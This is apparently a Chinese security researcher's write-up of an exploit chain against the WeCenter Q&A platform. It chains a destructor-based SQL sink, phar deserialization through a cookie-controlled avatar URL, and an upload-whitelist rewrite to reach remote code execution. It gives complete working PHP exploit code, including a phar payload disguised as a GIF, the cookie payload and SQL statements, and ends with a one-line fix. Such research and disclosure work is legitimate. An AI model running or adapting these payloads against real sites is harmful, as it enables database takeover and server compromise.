WeCenter 是一个类似知乎以问答为基础的完全开源的社交网络建站程序,基于 PHP+MYSQL 应用架构,它集合了问答,digg,wiki 等多个程序的优点,帮助用户轻松搭建专业的知识库和在线问答社区。
限制:
以上两个条件默认安装都为开启状态
定位到漏洞文件./system/aws_model.inc.php
<?php class AWS_MODEL { . . . private $_shutdown_query = array(); . . . public function master() { if ($this->_current_db == 'master') { return $this; } if (AWS_APP::config()->get('system')->debug) { $start_time = microtime(TRUE); } AWS_APP::db('master'); if (AWS_APP::config()->get('system')->debug) { AWS_APP::debug_log('database', (microtime(TRUE) - $start_time) , 'Master DB Seleted'); } return $this; } . . . public function __destruct() { $this->master(); foreach ($this->_shutdown_query AS $key => $query){ $this->query($query); } } }
可以看到漏洞文件的析构函数__destruct()
遍历了$this->_shutdown_query
变量,然后带入了$this->query()
函数,跟一下
public function query($sql, $limit = null, $offset = null, $where = null){ $this->slave(); if (!$sql){ throw new Exception('Query was empty.'); } if ($where){ $sql .= ' WHERE ' . $where; } if ($limit){ $sql .= ' LIMIT ' . $limit; } if ($offset){ $sql .= ' OFFSET ' . $offset; } if (AWS_APP::config()->get('system')->debug){ $start_time = microtime(TRUE); } try { $result = $this->db()->query($sql); } catch (Exception $e) { show_error("Database error\n------\n\nSQL: {$sql}\n\nError Message: " . $e->getMessage(), $e->getMessage()); } if (AWS_APP::config()->get('system')->debug){ AWS_APP::debug_log('database', (microtime(TRUE) - $start_time), $sql); } return $result; }
没有经过任何处理直接带入了查询函数中,只要$this->_shutdown_query
可控那么就可以执行任意SQL语句了。
由于SQL语句的执行发生在析构函数__destruct()
中,并且_shutdown_query
没有被静态关键词static
修饰。于是很自然可以想到利用反序列化的方式,重置$this->_shutdown_query
的值。
构造"构造exp"的exp:
<?php class AWS_MODEL{ private $_shutdown_query = array(); public function __construct(){ $this->_shutdown_query['test'] = 'SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)'; } } echo base64_encode(serialize(new AWS_MODEL)); ?>
由于$_shutdown_query
被private
修饰符修饰了,所以在进行序列化后会出现两个空字节用于表示该成员属性被private
修饰。
由于还没有反序列化触发点,所以先在一个加载完所有类和各种自动加载机制完成的文件中手动写上一个触发点用于验证。如system/system.php
,正好也是程序的入口文件。
可以看到反序列化后的AWS_MODEL
类执行了上面的SQL语句
想要触发反序列化很简单,主要的思路是:
unserialize($v)
在$v
可控的情况下 可以进行反序列化于是全局搜索/\bunserialize\((.*?)\$(.*?)\)/
寻找可控的变量。
结果找了一整个上午都没找到,跟函数跟到头都快裂了。
在快要自闭的时候想起了打CTF的时候经常遇到的利用Phar反序列化
思路也不难,大概就是:
在某一部分文件操作函数的参数可控的情况下 传入phar
伪协议解析的文件是 php底层会将phar文件的meta-data
部分进行一次反序列化
php底层处理代码:
int phar_parse_metadata(char **buffer, zval *metadata, uint32_t zip_metadata_len) /* {{{ */ { php_unserialize_data_t var_hash; if (zip_metadata_len) { const unsigned char *p; unsigned char *p_buff = (unsigned char *)estrndup(*buffer, zip_metadata_len); p = p_buff; ZVAL_NULL(metadata); PHP_VAR_UNSERIALIZE_INIT(var_hash); if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) { efree(p_buff); PHP_VAR_UNSERIALIZE_DESTROY(var_hash); zval_ptr_dtor(metadata); ZVAL_UNDEF(metadata); return FAILURE; } efree(p_buff); PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
可以看到metadata
被传入了反序列化函数php_var_unserialize
利用的条件是:
受影响函数($v)
在$v
可控的情况下 传入phar
伪协议解析的文件即可完成反序列化
受影响函数列表:
利用正则(fileatime|filectime|file_exists|file_get_contents|file_put_contents|file|filegroup|fopen|fileinode|filemtime|fileowner|fileperms|is_dir|is_executable|is_file|is_link|is_readable|is_writable|is_writeable|parse_ini_file|copy|unlink|stat|readfile)\((.*?)\$(.*?)\)
全局搜索,寻找文件操作函数可控参数的点。
又是一顿翻翻翻过后,终于找到了一个十分复杂的触发点。
models/account.php
<?php public function associate_remote_avatar($uid, $headimgurl){ if (!$headimgurl){ return false; } if (!$user_info = $this->get_user_info_by_uid($uid)){ return false; } if ($user_info['avatar_file']){ return false; } if (!$avatar_stream = file_get_contents($headimgurl)){ return false; } ...
associate_remote_avatar
函数将传进来的$headimgurl
没有经过任何过滤直接传入了文件操作函数file_get_contents
中。也就是说如果$headimgurl
可控的话,这个地方同时也会是一个SSRF漏洞(无回显)。
全局搜索了一下->associate_remote_avatar(
app/account/ajax.php
public function synch_img_action(){ $users=$this->model('account')->fetch_all('users','is_del=0 and ISNULL(avatar_file)','',1000); foreach ($users as $key => $value) { $wxuser=$this->model('account')->fetch_row('users_weixin','uid='.$value['uid'].' and headimgurl IS NOT NULL'); if($wxuser){ $this->model('account')->associate_remote_avatar($wxuser['uid'],$wxuser['headimgurl']); } } }
synch_img_action
函数将没有头像并且存在headimgurl
字段的用户从数据库中取出来,然后将从数据库中取到的headimgurl
字段传入associate_remote_avatar
函数。
问题的关键就在寻找对users_weixin
表的headimgurl
字段进行操作的的函数了
通过搜索users_weixin
找到了对这个表进行插入操作的函数
models/openid/weixin/weixin.php
<?php public function bind_account($access_user, $access_token, $uid, $is_ajax = false){ if (! $access_user['nickname']){ if ($is_ajax){ H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('与微信通信出错, 请重新登录'))); }else{ H::redirect_msg(AWS_APP::lang()->_t('与微信通信出错, 请重新登录')); } } if ($openid_info = $this->get_user_info_by_uid($uid)){ if ($openid_info['opendid'] != $access_user['openid']) { if ($is_ajax){ H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('微信账号已经被其他账号绑定'))); }else{ H::redirect_msg(AWS_APP::lang()->_t('微信账号已经被其他账号绑定')); } } return true; } $this->insert('users_weixin', array( 'uid' => intval($uid), 'openid' => $access_token['openid'], 'expires_in' => (time() + $access_token['expires_in']), 'access_token' => $access_token['access_token'], 'refresh_token' => $access_token['refresh_token'], 'scope' => $access_token['scope'], 'headimgurl' => $access_user['headimgurl'], 'nickname' => $access_user['nickname'], 'sex' => $access_user['sex'], 'province' => $access_user['province'], 'city' => $access_user['city'], 'country' => $access_user['country'], 'add_time' => time() )); return true; }
可以很明显看到这个进行了insert
操作,且headimgurl
字段也是由函数接收的值来决定。因此只要找到调用了这个函数,且函数的参数可控,那么就可以执行任意SQL代码了。
全局搜索bind_account
app/m/weixin.php
<?php public function binding_action(){ if ($_COOKIE[G_COOKIE_PREFIX . '_WXConnect']){ $WXConnect = json_decode($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'], true); } if ($WXConnect['access_token']['openid']){ $this->model('openid_weixin_weixin')->bind_account($WXConnect['access_user'], $WXConnect['access_token'], $this->user_id); HTTP::set_cookie('_WXConnect', '', null, '/', null, false, true); if ($_GET['redirect']){ HTTP::redirect(base64_decode($_GET['redirect'])); }else{ H::redirect_msg(AWS_APP::lang()->_t('绑定微信成功'), '/m/'); } }else{ H::redirect_msg('授权失败, 请返回重新操作, URI: ' . $_SERVER['REQUEST_URI']); } }
可以看到$WXConnect
的值完全是从COOKIE
中获取经过反序列化后得来的,完全可控。所以只需要按照代码的要求构造好攻击的Payload就可以了。至于COOKIE
的前缀G_COOKIE_PREFIX
,登陆后抓个包就可以看到了。
构造$WXConnect
:
<?php $arr = array(); $arr['access_token'] = array('openid' => '1'); $arr['access_user'] = array(); $arr['access_user']['openid'] = 1; $arr['access_user']['nickname'] = 'naiquan'; $arr['access_user']['headimgurl'] = 'phar://file_path'; echo json_encode($arr); ?>
所以,完整的攻击流程应该是
COOKIE
中设置对应的WXConnect
为上面Payload的结果app/m/weixin.php
下的binding_action
app/account/ajax.php
下的synch_img_action
注册账号
略。。
生成Phar文件
<?php class AWS_MODEL{ private $_shutdown_query = array(); public function __construct(){ $this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)"; } } $a = new AWS_MODEL; $phar = new Phar("2.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."__HALT_COMPILER();"); $phar->setMetadata($a); $phar->addFromString("test.txt","123"); $phar->stopBuffering(); rename("2.phar","shell.gif"); ?>
运行后将生成的shell.gif
通过编辑器的上传功能上传到服务器上
记录下上传后的目录
生成并设置COOKIE
中的WXConnect
值
<?php $arr = array(); $arr['access_token'] = array('openid' => '1'); $arr['access_user'] = array(); $arr['access_user']['openid'] = 1; $arr['access_user']['nickname'] = 'naiquan'; $arr['access_user']['headimgurl'] = 'phar://uploads/question/20200107/a3df6f75e11120c22ba0d85519c5d442.gif'; echo json_encode($arr); ?>
将headimgurl
的值设置成phar
伪协议解析的恶意文件后运行,将结果放入Cookie中,前缀可参考Cookie中的其他参数。
访问app/m/weixin.php
下的binding_action
提示绑定微信成功后进行下一步
访问app/account/ajax.php
下的synch_img_action
任意SQL语句执行成功
CTF诚不欺我!!!
怎么能止步于任意SQL执行呢,当然得要RCE啊!
打开后台我们可以看到设置后缀名白名单的地方。
这时候把mysql的general_log
开起来,监控一下修改这个白名单会执行什么SQL语句。
添加一个naiquantest
的后缀方便我们从log文件中匹配出关键的SQL语句
可以看到监控的SQL语句为这条,将后缀名字符串序列化后UPDATE
到数据库中
那么就可以通过一个修改后缀名白名单的方式,上传php文件进行RCE了。
EXP:
```php
<?php
class AWS_MODEL{
private $_shutdown_query = array();
public function __construct(){
$file_exts = "jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php";
$this->_shutdown_query['test'] = "UPDATE `aws_system_setting` SET `value` = '".serialize($file_exts)."' WHERE (`varname` = 'allowed_upload_types')";
}
}
$a = new AWS_MODEL;
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt","123");
$phar->stopBuffering();
rename("2.phar","shell.gif");
```
老套路上传执行后:
在后台查看
成功添加了php后缀
返回前台在编辑器中上传php文件
RCE成功!!!
删除app/account/ajax.php
下名为synch_img
的action
即可,删除路由或者函数都可以。